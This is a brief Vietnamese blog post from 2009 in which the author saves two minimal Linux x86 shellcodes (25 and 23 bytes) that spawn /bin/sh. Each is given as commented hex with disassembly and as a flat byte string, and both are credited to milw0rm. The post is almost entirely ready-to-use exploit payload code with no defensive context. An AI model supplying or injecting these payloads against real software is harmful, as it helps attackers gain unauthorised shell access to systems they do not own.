Skip navigation.

Sống trong đời sống ...

... để làm gì em biết không?

Posts tagged with "bé nhất"

Shellcode bé nhất

, ,

Ghi lại sau tham khảo cho dễ

Shellcode: 25 bytes
Shell: /bin/sh

  "\x31\xc0"                    // xor    %eax, %eax
  "\x50"                        // push   %eax
  "\x68\x2f\x2f\x73\x68"        // push   $0x68732f2f
  "\x68\x2f\x62\x69\x6e"        // push   $0x6e69622f
  "\x89\xe3"                    // mov    %esp, %ebx
  "\x50"                        // push   %eax
  "\x53"                        // push   %ebx
  "\x89\xe1"                    // mov    %esp, %ecx
  "\x31\xd2"                    // xor    %edx, %edx
  "\xb0\x0b"                    // mov    $0xb, %al
  "\xcd\x80";                   // int    $0x80

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80



Shellcode: 23 bytes
Shell: /bin/sh

  "\x6a\x0b"// push   $0xb
  "\x58"// pop    %eax
  "\x99"                        // cltd
  "\x52"// push   %edx
  "\x68\x2f\x2f\x73\x68"// push   $0x68732f2f
  "\x68\x2f\x62\x69\x6e"// push   $0x6e69622f
  "\x89\xe3"// mov    %esp, %ebx
  "\x52"// push   %edx
  "\x53"// push   %ebx
  "\x89\xe1"// mov    %esp, %ecx
  "\xcd\x80";// int    $0x80

\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80



Nguồn: http://www.milw0rm.com
December 2009
M T W T F S S
November 2009January 2010
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30 31